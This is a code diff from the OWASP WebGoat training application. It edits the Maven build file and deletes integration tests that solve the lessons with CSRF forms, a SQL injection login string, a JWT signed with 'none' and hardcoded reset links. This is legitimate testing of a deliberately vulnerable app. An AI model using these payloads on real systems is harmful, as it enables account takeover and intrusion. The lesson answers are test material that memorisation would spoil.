-                    <argument>-Dwebwolf.port=${webwolf.port}</argument>
-                    <argument>-Dwebwolf.context=${webwolf.context}</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.lang=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.util=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.text=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.io=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.util=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
-                    <argument>java.base/java.io=ALL-UNNAMED</argument>
-                    <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
-                  </arguments>
-                  <waitForInterrupt>false</waitForInterrupt>
-                  <waitAfterLaunch>120</waitAfterLaunch>
-                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
-                </configuration>
-              </execution>
-              <execution>
-                <id>stop-jar-process</id>
-                <goals>
-                  <goal>stop-all</goal>
-                </goals>
-                <phase>post-integration-test</phase>
-              </execution>
-            </executions>
-          </plugin>
-        </plugins>
-      </build>
-    </profile>
         <profile>
             <id>owasp</id>
             <activation>
@@ -767,14 +243,16 @@
                     <plugin>
                         <groupId>org.owasp</groupId>
                         <artifactId>dependency-check-maven</artifactId>
-            <version>8.4.3</version>
+                        <version>6.1.3</version>
                         <configuration>
                             <failBuildOnCVSS>7</failBuildOnCVSS>
-              <skipProvidedScope>false</skipProvidedScope>
+                            <skipProvidedScope>true</skipProvidedScope>
-              <skipRuntimeScope>false</skipRuntimeScope>
+                            <skipRuntimeScope>true</skipRuntimeScope>
                             <suppressionFiles>
                                 <!--suppress UnresolvedMavenProperty -->
-                <suppressionFile>${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml</suppressionFile>
+                                <suppressionFile>
+                                    ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml
+                                </suppressionFile>
                             </suppressionFiles>
                         </configuration>
                         <executions>
@@ -788,82 +266,26 @@
                 </plugins>
             </build>
         </profile>
-    <profile>
-      <!-- run with: mvn test -Pcoverage -->
-      <id>coverage</id>
-      <activation>
-        <activeByDefault>false</activeByDefault>
-      </activation>
-      <build>
-        <plugins>
-          <plugin>
-            <groupId>org.apache.maven.plugins</groupId>
-            <artifactId>maven-surefire-plugin</artifactId>
-            <version>${maven-surefire-plugin.version}</version>
-            <configuration>
-              <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
-          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
-          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
-          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
-          ${surefire.jacoco.args}</argLine>
-              <excludes>
-                <exclude>**/*IntegrationTest.java</exclude>
-                <exclude>src/it/java</exclude>
-                <exclude>org/owasp/webgoat/*Test</exclude>
-              </excludes>
-            </configuration>
-          </plugin>
-          <plugin>
-            <groupId>org.jacoco</groupId>
-            <artifactId>jacoco-maven-plugin</artifactId>
-            <version>${jacoco.version}</version>
-            <executions>
-              <execution>
-                <id>before-unit-test</id>
-                <goals>
-                  <goal>prepare-agent</goal>
-                </goals>
-                <configuration>
-                  <destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
-                  <propertyName>surefire.jacoco.args</propertyName>
-                </configuration>
-              </execution>
-              <execution>
-                <id>check</id>
-                <goals>
-                  <goal>check</goal>
-                </goals>
-                <configuration>
-                  <rules>
-                    <rule>
-                      <element>BUNDLE</element>
-                      <limits>
-                        <limit>
-                          <counter>CLASS</counter>
-                          <value>COVEREDCOUNT</value>
-                          <minimum>0.6</minimum>
-                        </limit>
-                      </limits>
-                    </rule>
-                  </rules>
-                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
-                </configuration>
-              </execution>
-              <execution>
-                <id>after-unit-test</id>
-                <goals>
-                  <goal>report</goal>
-                </goals>
-                <phase>test</phase>
-                <configuration>
-                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
-                  <outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
-                </configuration>
-              </execution>
-            </executions>
-          </plugin>
-        </plugins>
-      </build>
-    </profile>
     </profiles>
+
+    <repositories>
+        <repository>
+            <id>central</id>
+            <url>https://repo.maven.apache.org/maven2</url>
+            <snapshots>
+                <enabled>false</enabled>
+            </snapshots>
+        </repository>
+    </repositories>
+    <pluginRepositories>
+        <pluginRepository>
+            <id>central</id>
+            <url>https://repo.maven.apache.org/maven2</url>
+            <snapshots>
+                <enabled>false</enabled>
+            </snapshots>
+        </pluginRepository>
+    </pluginRepositories>
+
+
 </project>

robot/README.md

@@ -1,21 +0,0 @@
-# Install and use Robotframework
-
-## Install Chromedriver on Mac OS
-
-        brew install cask chromedriver
-        chromedriver --version
-
-Then see security settings and allow the file to run
-
-## Install
-
-        pip3 install virtualenv --user
-        python3 -m virtualenv .venv
-        source .venv/bin/activate
-        pip install --upgrade robotframework
-        pip install --upgrade robotframework-SeleniumLibrary
-        pip install --upgrade webdriver-manager
-        brew upgrade
-        robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
-
-Make sure that the Chrome version, the webdriver version and all related components are up-to-date and compatible!

robot/goat.robot

@@ -1,129 +0,0 @@
-*** Settings ***
-Documentation  Setup WebGoat Robotframework tests
-Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
-Library  String
-Library  OperatingSystem
-
-Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
-Suite Teardown  Close_Page
-
-*** Variables ***
-${BROWSER}  chrome
-${SLEEP}  100
-${DELAY}  0.25
-${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090/WebWolf
-${USERNAME}  robotuser
-${PASSWORD}  password
-${HEADLESS}  ${FALSE}
-
-*** Keywords ***
-Initial_Page
-  [Documentation]  Check the inital page
-  [Arguments]  ${ENDPOINT}  ${BROWSER}
-  Log To Console  Start WebGoat UI Testing
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webgoat
-  ELSE
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  END
-  Switch Browser  webgoat
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${0}  ${0}
-  Set Selenium Speed  ${DELAY}
-  Log To Console  Start WebWolf UI Testing
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
-  Switch Browser  webwolf
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${500}  ${0}
-  Set Selenium Speed  ${DELAY}
-
-Close_Page
-  [Documentation]  Closing the browser
-  Log To Console  ==> Stop WebGoat UI Testing
-  IF  ${HEADLESS}
-    Switch Browser  webgoat
-    Close Browser
-    Switch Browser  webwolf
-    Close Browser
-  END
-
-*** Test Cases ***
-
-Check_Initial_Page
-  [Tags]  WebGoatTests
-  Switch Browser  webgoat
-  Page Should Contain  Username
-  Click Button  Sign in
-  Page Should Contain  Invalid username
-  Click Link  /WebGoat/registration
-
-Check_Registration_Page
-  [Tags]  WebGoatTests
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Input Text  matchingPassword  ${PASSWORD}
-  Click Element  agree
-  Click Button  Sign up
-
-Check_Welcome_Page
-  [Tags]  WebGoatTests
-  Page Should Contain  WebGoat
-  Go To  ${ENDPOINT}/login
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign in
-  Page Should Contain  WebGoat
-
-Check_Menu_Page
-  [Tags]  WebGoatTests
-  Click Element  css=a[category='Introduction']
-  Click Element  Introduction-WebGoat
-  CLick Element  Introduction-WebWolf
-  Click Element  css=a[category='General']
-  CLick Element  General-HTTPBasics
-  Click Element  xpath=//*[.='2']
-  Input Text     person  ${USERNAME}
-  Click Button   Go!
-  ${OUT_VALUE}   Get Text  xpath=//div[contains(@class, 'attack-feedback')]
-  ${OUT_RESULT}  Evaluate  "resutobor" in """${OUT_VALUE}"""
-  IF  not ${OUT_RESULT}
-    Fail  "not ok"
-  END
-
-Check_WebWolf
-  Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/login
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign In
-  Go To  ${ENDPOINT_WOLF}/mail
-  Go To  ${ENDPOINT_WOLF}/requests
-  Go To  ${ENDPOINT_WOLF}/files
-
-Check_JWT_Page
-  Go To  ${ENDPOINT_WOLF}/jwt
-  Click Element  token
-  Wait Until Element Is Enabled  token  5s
-  Input Text     token  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
-  Click Element  secretKey
-  Input Text     secretKey  none
-  Sleep  2s  # Pause before reading the result
-  ${OUT_VALUE}   Get Value  xpath=//textarea[@id='token']
-  Log To Console  Found token ${OUT_VALUE}
-  ${OUT_RESULT}  Evaluate  "ImuPnHvLdU7ULKfbD4aJU" in """${OUT_VALUE}"""
-  Log To Console  Found token ${OUT_RESULT}
-  Capture Page Screenshot
-
-Check_Files_Page
-  Go To  ${ENDPOINT_WOLF}/files
-  Choose File  css:input[type="file"]  ${CURDIR}/goat.robot
-  Click Button  Upload files

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -1,85 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.util.Map;
-import org.apache.http.HttpStatus;
-import org.junit.jupiter.api.Test;
-
-class AccessControlIntegrationTest extends IntegrationTest {
-
-  @Test
-  void testLesson() {
-    startLesson("MissingFunctionAC", true);
-    assignment1();
-    assignment2();
-    assignment3();
-
-    checkResults("/access-control");
-  }
-
-  private void assignment3() {
-    // direct call should fail if user has not been created
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .get(url("access-control/users-admin-fix"))
-        .then()
-        .statusCode(HttpStatus.SC_FORBIDDEN);
-
-    // create user
-    var userTemplate =
-        """
-                {"username":"%s","password":"%s","admin": "true"}
-                """;
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .body(String.format(userTemplate, this.getUser(), this.getUser()))
-        .post(url("access-control/users"))
-        .then()
-        .statusCode(HttpStatus.SC_OK);
-
-    // get the users
-    var userHash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .contentType(ContentType.JSON)
-            .get(url("access-control/users-admin-fix"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"Jerry\" }.userHash");
-
-    checkAssignment(url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
-  }
-
-  private void assignment2() {
-    var userHash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .contentType(ContentType.JSON)
-            .get(url("access-control/users"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"Jerry\" }.userHash");
-
-    checkAssignment(url("access-control/user-hash"), Map.of("userHash", userHash), true);
-  }
-
-  private void assignment1() {
-    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-    checkAssignment(url("access-control/hidden-menu"), params, true);
-  }
-}

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -1,285 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-import lombok.Data;
-import lombok.SneakyThrows;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.owasp.webgoat.container.lessons.Assignment;
-
-public class CSRFIntegrationTest extends IntegrationTest {
-
-  private static final String trickHTML3 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
-          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
-          + "</form></body></html>";
-
-  private static final String trickHTML4 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
-          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
-          + "<input type=\"hidden\" name=\"validateReq\""
-          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
-          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
-          + "</form>\n"
-          + "</body></html>";
-
-  private static final String trickHTML7 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
-          + " method=\"POST\">\n"
-          + "<input type=\"hidden\""
-          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
-          + " is the best!!' value='\"}' />\n"
-          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
-          + "</form></body></html>";
-
-  private static final String trickHTML8 =
-      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
-          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
-          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
-          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
-          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
-          + "</form></body></html>";
-
-  private String webwolfFileDir;
-
-  @BeforeEach
-  @SneakyThrows
-  public void init() {
-    startLesson("CSRF");
-    webwolfFileDir = getWebWolfFileServerLocation();
-    uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("csrf/basic-get-flag")));
-    uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("csrf/review")));
-    uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("csrf/feedback/message")));
-    uploadTrickHtml(
-        "csrf8.html",
-        trickHTML8.replace("WEBGOATURL", url("login")).replace("USERNAME", this.getUser()));
-  }
-
-  @TestFactory
-  Iterable<DynamicTest> testCSRFLesson() {
-    return Arrays.asList(
-        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
-        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
-        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
-  }
-
-  @AfterEach
-  public void shutdown() throws IOException {
-    // logout();
-    login(); // because old cookie got replaced and invalidated
-    startLesson("CSRF", false);
-    checkResults("/csrf");
-  }
-
-  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
-
-    // remove any left over html
-    Path webWolfFilePath = Paths.get(webwolfFileDir);
-    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
-      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
-    }
-
-    // upload trick html
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .multiPart("file", htmlName, htmlContent.getBytes())
-        .post(webWolfUrl("fileupload"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-  }
-
-  private String callTrickHtml(String htmlName) {
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("files/" + this.getUser() + "/" + htmlName))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    result = result.substring(8 + result.indexOf("action=\""));
-    result = result.substring(0, result.indexOf("\""));
-
-    return result;
-  }
-
-  private void checkAssignment3(String goatURL) {
-    String flag =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("files/fake.html"))
-            .post(goatURL)
-            .then()
-            .extract()
-            .path("flag")
-            .toString();
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("confirmFlagVal", flag);
-    checkAssignment(url("csrf/confirm-flag-1"), params, true);
-  }
-
-  private void checkAssignment4(String goatURL) {
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("reviewText", "test review");
-    params.put("stars", "5");
-    params.put(
-        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
-
-    boolean result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("files/fake.html"))
-            .formParams(params)
-            .post(goatURL)
-            .then()
-            .extract()
-            .path("lessonCompleted");
-    assertEquals(true, result);
-  }
-
-  private void checkAssignment7(String goatURL) {
-    Map<String, Object> params = new HashMap<>();
-    params.put(
-        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
-            + " best!!",
-        "\"}");
-
-    String flag =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("files/fake.html"))
-            .contentType(ContentType.TEXT)
-            .body(
-                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
-                    + " the best!!=\"}")
-            .post(goatURL)
-            .then()
-            .extract()
-            .asString();
-    flag = flag.substring(9 + flag.indexOf("flag is:"));
-    flag = flag.substring(0, flag.indexOf("\""));
-
-    params.clear();
-    params.put("confirmFlagVal", flag);
-    checkAssignment(url("csrf/feedback"), params, true);
-  }
-
-  private void checkAssignment8(String goatURL) {
-
-    // first make sure there is an attack csrf- user
-    registerCSRFUser();
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "csrf-" + this.getUser());
-    params.put("password", "password");
-
-    // login and get the new cookie
-    String newCookie =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("Referer", webWolfUrl("files/fake.html"))
-            .params(params)
-            .post(goatURL)
-            .then()
-            .extract()
-            .cookie("JSESSIONID");
-
-    // select the lesson
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", newCookie)
-        .get(url("CSRF.lesson.lesson"))
-        .then()
-        .statusCode(200);
-
-    // click on the assignment
-    boolean result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", newCookie)
-            .post(url("csrf/login"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted");
-
-    assertThat(result).isTrue();
-
-    login();
-    startLesson("CSRF", false);
-
-    Overview[] assignments =
-        RestAssured.given()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/lessonoverview.mvc"))
-            .then()
-            .extract()
-            .jsonPath()
-            .getObject("$", Overview[].class);
-    //		assertThat(assignments)
-    //                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-    //                .extracting(o -> o.solved)
-    //                .containsExactly(true);
-  }
-
-  @Data
-  private static class Overview {
-    Assignment assignment;
-    boolean solved;
-  }
-
-  /** Try to register the new user. Ignore the result. */
-  private void registerCSRFUser() {
-
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .formParam("username", "csrf-" + this.getUser())
-        .formParam("password", "password")
-        .formParam("matchingPassword", "password")
-        .formParam("agree", "agree")
-        .post(url("register.mvc"));
-  }
-}

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -1,170 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import io.restassured.RestAssured;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-import org.springframework.http.HttpStatus;
-
-public class ChallengeIntegrationTest extends IntegrationTest {
-
-  @Test
-  void testChallenge1() {
-    startLesson("Challenge1");
-
-    byte[] resultBytes =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("challenge/logo"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .asByteArray();
-
-    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username", "admin");
-    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
-
-    checkAssignment(url("challenge/1"), params, true);
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .post(url("challenge/1"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .asString();
-
-    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-    params.clear();
-    params.put("flag", flag);
-    checkAssignment(url("challenge/flag"), params, true);
-
-    checkResults("/challenge/1");
-
-    List<String> capturefFlags =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("scoreboard-data"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-    assertTrue(capturefFlags.contains("Admin lost password"));
-  }
-
-  @Test
-  void testChallenge5() {
-    startLesson("Challenge5");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username_login", "Larry");
-    params.put("password_login", "1' or '1'='1");
-
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .formParams(params)
-            .post(url("challenge/5"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .asString();
-
-    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-    params.clear();
-    params.put("flag", flag);
-    checkAssignment(url("challenge/flag"), params, true);
-
-    checkResults("/challenge/5");
-
-    List<String> capturefFlags =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("scoreboard-data"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath()
-            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-    assertTrue(capturefFlags.contains("Without password"));
-  }
-
-  @Test
-  void testChallenge7() {
-    startLesson("Challenge7");
-    cleanMailbox();
-
-    // One should first be able to download git.zip from WebGoat
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url("challenge/7/.git"))
-        .then()
-        .statusCode(200)
-        .extract()
-        .asString();
-
-    // Should send an email to WebWolf inbox this should give a hint to the link being static
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .formParams("email", getUser() + "@webgoat.org")
-        .post(url("challenge/7"))
-        .then()
-        .statusCode(200)
-        .extract()
-        .asString();
-
-    // Check whether email has been received
-    var responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("mail"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-
-    // Call reset link with admin link
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
-            .then()
-            .statusCode(HttpStatus.ACCEPTED.value())
-            .extract()
-            .asString();
-
-    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-    checkAssignment(url("challenge/flag"), Map.of("flag", flag), true);
-  }
-}

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -1,156 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.Assertions.fail;
-
-import io.restassured.RestAssured;
-import java.nio.charset.Charset;
-import java.security.NoSuchAlgorithmException;
-import java.security.PrivateKey;
-import java.security.interfaces.RSAPrivateKey;
-import java.security.spec.InvalidKeySpecException;
-import java.util.Base64;
-import java.util.HashMap;
-import java.util.Map;
-import javax.xml.bind.DatatypeConverter;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
-import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
-
-public class CryptoIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void runTests() {
-    startLesson("Cryptography");
-
-    checkAssignment2();
-    checkAssignment3();
-
-    // Assignment 4
-    try {
-      checkAssignment4();
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-      fail();
-    }
-
-    try {
-      checkAssignmentSigning();
-    } catch (Exception e) {
-      e.printStackTrace();
-      fail();
-    }
-
-    checkAssignmentDefaults();
-
-    checkResults("/crypto");
-  }
-
-  private void checkAssignment2() {
-
-    String basicEncoding =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("crypto/encoding/basic"))
-            .then()
-            .extract()
-            .asString();
-    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
-    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
-    String answer_user = decodedString.split(":")[0];
-    String answer_pwd = decodedString.split(":")[1];
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("answer_user", answer_user);
-    params.put("answer_pwd", answer_pwd);
-    checkAssignment(url("crypto/encoding/basic-auth"), params, true);
-  }
-
-  private void checkAssignment3() {
-    String answer_1 = "databasepassword";
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("answer_pwd1", answer_1);
-    checkAssignment(url("crypto/encoding/xor"), params, true);
-  }
-
-  private void checkAssignment4() throws NoSuchAlgorithmException {
-
-    String md5Hash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("crypto/hashing/md5"))
-            .then()
-            .extract()
-            .asString();
-
-    String sha256Hash =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("crypto/hashing/sha256"))
-            .then()
-            .extract()
-            .asString();
-
-    String answer_1 = "unknown";
-    String answer_2 = "unknown";
-    for (String secret : HashingAssignment.SECRETS) {
-      if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
-        answer_1 = secret;
-      }
-      if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
-        answer_2 = secret;
-      }
-    }
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("answer_pwd1", answer_1);
-    params.put("answer_pwd2", answer_2);
-    checkAssignment(url("crypto/hashing"), params, true);
-  }
-
-  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
-
-    String privatePEM =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
